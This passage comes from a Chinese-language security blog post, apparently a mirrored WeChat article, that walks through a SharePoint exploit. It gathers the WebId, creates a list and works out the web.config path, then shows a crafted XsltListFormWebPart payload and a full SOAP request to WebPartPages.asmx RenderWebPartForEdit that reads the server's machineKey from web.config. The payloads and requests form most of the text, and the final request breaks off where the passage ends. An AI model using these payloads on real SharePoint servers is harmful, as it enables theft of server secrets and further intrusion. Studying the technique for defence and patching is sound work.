target="_blank">http://sharepoint:8080/_admin/createsite.aspx</a></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="246" data-backw="319" data-ratio="0.7737226277372263" title="null" data-type="png" data-w="959" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=7bd2c06c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFej3d4rIUcu8Mic81iaq2A7QZn9EbBzJfgmEciar7ic0ESzHYuoOKMS5oVA%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">然后看poc的xml中</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">Register</span> <span class="code-snippet__attr">TagPrefix</span>=<span class="code-snippet__string">&#34;WebPartPages&#34;</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;Microsoft.SharePoint.WebPartPage&#34;</span> <span class="code-snippet__attr">Assembly</span>=<span class="code-snippet__string">&#34;Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c&#34;</span> %&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@Register</span> <span class="code-snippet__attr">TagPrefix</span>=<span class="code-snippet__string">&#34;att&#34;</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;System.Web.UI.WebControls &#34;</span> <span class="code-snippet__attr">Assembly</span>=<span class="code-snippet__string">&#34;System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&#34;</span>%&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">WebPartPages:XsltListFormWebPart</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;id01&#34;</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">ListDisplayName</span>=<span class="code-snippet__string">&#34;Documents&#34;</span> <span class="code-snippet__attr">WebId</span>=<span class="code-snippet__string">&#34;{6e7040c8-0338-4448-914d-a7061e0fc347}&#34;</span>&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">DataSources</span>&gt;</span> </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">att:xmldatasource</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;XDS1&#34;</span> </span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">XPath</span>=<span class="code-snippet__string">&#34;/configuration/system.web/machineKey&#34;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">      <span class="code-snippet__attr">datafile</span>=<span class="code-snippet__string">&#34;c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config&#34;</span> /&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">DataSources</span>&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl</span>&gt;</span> </span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:stylesheet</span> <span class="code-snippet__attr">version</span>=<span class="code-snippet__string">&#34;2.0&#34;</span> <span class="code-snippet__attr">xmlns:xsl</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/1999/XSL/Transform" target="_blank">http://www.w3.org/1999/XSL/Transform</a>&#34;</span>&gt;</span>          </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:output</span> <span class="code-snippet__attr">method</span>=<span class="code-snippet__string">&#34;xml&#34;</span> <span class="code-snippet__attr">indent</span>=<span class="code-snippet__string">&#34;yes&#34;</span>/&gt;</span> </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:template</span> <span class="code-snippet__attr">match</span>=<span class="code-snippet__string">&#34;/&#34;</span> &gt;</span> </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:copy-of</span> <span class="code-snippet__attr">select</span>=<span class="code-snippet__string">&#34;.&#34;</span>/&gt;</span> </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl:template</span>&gt;</span> </span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl:stylesheet</span>&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl</span>&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">WebPartPages:XsltListFormWebPart</span>&gt;</span></span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">需要三个参数</p><p style="box-sizing: border-box;padding-left: 1em;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">1.</span>ListDisplayName</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">2.</span>WebId</span><span style="box-sizing: border-box;margin: 0.5em 8px;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-indent: -1em;display: block;"><span style="box-sizing: border-box;margin-right: 10px;">3.</span>datafile</span></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">WebId来自 <a href="http://sharepoint/sites/ts/_api/web/id" target="_blank">http://sharepoint/sites/ts/_api/web/id</a></p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="35" data-backw="319" data-ratio="0.10738255033557047" title="null" data-type="png" data-w="1341" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=90189754&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFOzrVWoRvvsxEYC1cGzicCoQLj9V6lxTxVM5DITia5PzAKo1RzV90GuUg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">e89c64e5-75ce-4bd4-8181-2298228fc91f</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">ListDisplayName可以新建一个</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="181" data-backw="319" data-ratio="0.5659722222222222" title="null" data-type="png" data-w="1152" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=9fc0a682&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFmaN9IHhJXLLGEelOQV98GN5gubGO5gHiaZsScptcmLmtXRQjq7h1cjw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="131" data-backw="319" data-ratio="0.4090909090909091" title="null" data-type="png" data-w="1232" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=64080e84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFNDS8uyLLCBhnVEk36YWeCiaZcNOCtRMibP3tylvyliamN5XNiaPlDFAlPg%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">然后ListDisplayName为test</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">第三个参数datafile是要读取的web.config文件，这个<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">c:/inetpub/wwwroot/wss/VirtualDirectories/80/web.config</code>中80对应的端口号，但是有的情况特殊可以试试<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">C:\inetpub\wwwroot\web.config</code></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">比如我搭建的sp，8080管理端口对应的是38040</p><figure style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;"><img data-backh="82" data-backw="319" data-ratio="0.25624421831637373" title="null" data-type="png" data-w="1081" style="box-sizing: border-box;margin: 0.5em auto;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;border-radius: 4px;display: block;width: 100%;height: auto;" src="https://wechat2rss.xlab.app/img-proxy/?k=2018fd84&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibokiceRP89IsvUB9v9dNh0QFoW4sFrgVRh1vElCJmabsXafWtOcdwA9VnQM1EasBfrOLAx8bB0qwicw%2F640%3Fwx_fmt%3Dpng"/><figcaption style="box-sizing: border-box;text-align: center;color: rgb(136, 136, 136);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;">image.png</figcaption></figure><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">然后读web.config，构造的xml</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">Register</span> <span class="code-snippet__attr">TagPrefix</span>=<span class="code-snippet__string">&#34;WebPartPages&#34;</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;Microsoft.SharePoint.WebPartPage&#34;</span> <span class="code-snippet__attr">Assembly</span>=<span class="code-snippet__string">&#34;Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c&#34;</span> %&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@Register</span> <span class="code-snippet__attr">TagPrefix</span>=<span class="code-snippet__string">&#34;att&#34;</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;System.Web.UI.WebControls &#34;</span> <span class="code-snippet__attr">Assembly</span>=<span class="code-snippet__string">&#34;System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&#34;</span>%&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">WebPartPages:XsltListFormWebPart</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;id01&#34;</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">ListDisplayName</span>=<span class="code-snippet__string">&#34;test&#34;</span> <span class="code-snippet__attr">WebId</span>=<span class="code-snippet__string">&#34;{e89c64e5-75ce-4bd4-8181-2298228fc91f}&#34;</span>&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">DataSources</span>&gt;</span> </span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">att:xmldatasource</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;XDS1&#34;</span> </span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__attr">XPath</span>=<span class="code-snippet__string">&#34;/configuration/system.web/machineKey&#34;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet_outer">      <span class="code-snippet__attr">datafile</span>=<span class="code-snippet__string">&#34;c:/inetpub/wwwroot/wss/VirtualDirectories/38040/web.config&#34;</span> /&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">DataSources</span>&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl</span>&gt;</span> </span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:stylesheet</span> <span class="code-snippet__attr">version</span>=<span class="code-snippet__string">&#34;2.0&#34;</span> <span class="code-snippet__attr">xmlns:xsl</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/1999/XSL/Transform" target="_blank">http://www.w3.org/1999/XSL/Transform</a>&#34;</span>&gt;</span>          </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:output</span> <span class="code-snippet__attr">method</span>=<span class="code-snippet__string">&#34;xml&#34;</span> <span class="code-snippet__attr">indent</span>=<span class="code-snippet__string">&#34;yes&#34;</span>/&gt;</span> </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:template</span> <span class="code-snippet__attr">match</span>=<span class="code-snippet__string">&#34;/&#34;</span> &gt;</span> </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:copy-of</span> <span class="code-snippet__attr">select</span>=<span class="code-snippet__string">&#34;.&#34;</span>/&gt;</span> </span></code><code><span class="code-snippet_outer">          <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl:template</span>&gt;</span> </span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl:stylesheet</span>&gt;</span> </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">xsl</span>&gt;</span> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;/<span class="code-snippet__name">WebPartPages:XsltListFormWebPart</span>&gt;</span></span></code></pre></section><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">html编码之后http请求</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="http"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">POST</span> <span class="code-snippet__string">/sites/ts/_vti_bin/WebPartPages.asmx</span> HTTP/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Host</span>: sharepoint</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Type</span>: text/xml; charset=utf-8</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">Content-Length</span>: 6527</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">SOAPAction</span>: &#34;<a href="http://microsoft.com/sharepoint/webpartpages/RenderWebPartForEdit" target="_blank">http://microsoft.com/sharepoint/webpartpages/RenderWebPartForEdit</a>&#34;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">&lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&gt;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">soap:Envelope</span> <span class="code-snippet__attr">xmlns:xsi</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span> <span class="code-snippet__attr">xmlns:xsd</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/2001/XMLSchema" target="_blank">http://www.w3.org/2001/XMLSchema</a>&#34;</span> <span class="code-snippet__attr">xmlns:soap</span>=<span class="code-snippet__string">&#34;<a href="http://schemas.xmlsoap.org/soap/envelope/" target="_blank">http://schemas.xmlsoap.org/soap/envelope/</a>&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__tag">&lt;<span class="code-snippet__name">soap:Body</span>&gt;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">RenderWebPartForEdit</span> <span class="code-snippet__attr">xmlns</span>=<span class="code-snippet__string">&#34;<a href="http://microsoft.com/sharepoint/webpartpages" target="_blank">http://microsoft.com/sharepoint/webpartpages</a>&#34;</span>&gt;</span></span></code><code><span class="code-snippet_outer">      <span class="code-snippet__tag">&lt;<span class="code-snippet__name">webPartXml</span>&gt;</span><span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@</span> <span class="code-snippet__attr">Register</span> <span class="code-snippet__attr">TagPrefix</span>=<span class="code-snippet__string">&#34;WebPartPages&#34;</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;Microsoft.SharePoint.WebPartPage&#34;</span> <span class="code-snippet__attr">Assembly</span>=<span class="code-snippet__string">&#34;Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c&#34;</span> %&gt;</span> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">%@Register</span> <span class="code-snippet__attr">TagPrefix</span>=<span class="code-snippet__string">&#34;att&#34;</span> <span class="code-snippet__attr">Namespace</span>=<span class="code-snippet__string">&#34;System.Web.UI.WebControls &#34;</span> <span class="code-snippet__attr">Assembly</span>=<span class="code-snippet__string">&#34;System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&#34;</span>%&gt;</span> <span class="code-snippet__tag">&lt;<span class="code-snippet__name">WebPartPages:XsltListFormWebPart</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;id01&#34;</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">ListDisplayName</span>=<span class="code-snippet__string">&#34;test&#34;</span> <span class="code-snippet__attr">WebId</span>=<span class="code-snippet__string">&#34;{e89c64e5-75ce-4bd4-8181-2298228fc91f}&#34;</span>&gt;</span>   <span class="code-snippet__tag">&lt;<span class="code-snippet__name">DataSources</span>&gt;</span>     <span class="code-snippet__tag">&lt;<span class="code-snippet__name">att:xmldatasource</span> <span class="code-snippet__attr">runat</span>=<span class="code-snippet__string">&#34;server&#34;</span> <span class="code-snippet__attr">id</span>=<span class="code-snippet__string">&#34;XDS1&#34;</span>       <span class="code-snippet__attr">XPath</span>=<span class="code-snippet__string">&#34;/configuration/system.web/machineKey&#34;</span>       <span class="code-snippet__attr">datafile</span>=<span class="code-snippet__string">&#34;c:/inetpub/wwwroot/wss/VirtualDirectories/38040/web.config&#34;</span> /&gt;</span>   <span class="code-snippet__tag">&lt;/<span class="code-snippet__name">DataSources</span>&gt;</span>   <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl</span>&gt;</span>       <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:stylesheet</span> <span class="code-snippet__attr">version</span>=<span class="code-snippet__string">&#34;2.0&#34;</span> <span class="code-snippet__attr">xmlns:xsl</span>=<span class="code-snippet__string">&#34;<a href="http://www.w3.org/1999/XSL/Transform" target="_blank">http://www.w3.org/1999/XSL/Transform</a>&#34;</span>&gt;</span>                    <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:output</span> <span class="code-snippet__attr">method</span>=<span class="code-snippet__string">&#34;xml&#34;</span> <span class="code-snippet__attr">indent</span>=<span class="code-snippet__string">&#34;yes&#34;</span>/&gt;</span>           <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:template</span> <span class="code-snippet__attr">match</span>=<span class="code-snippet__string">&#34;/&#34;</span> &gt;</span>           <span class="code-snippet__tag">&lt;<span class="code-snippet__name">xsl:copy-of</span> <span class="code-snippet__attr">select</span>=<span 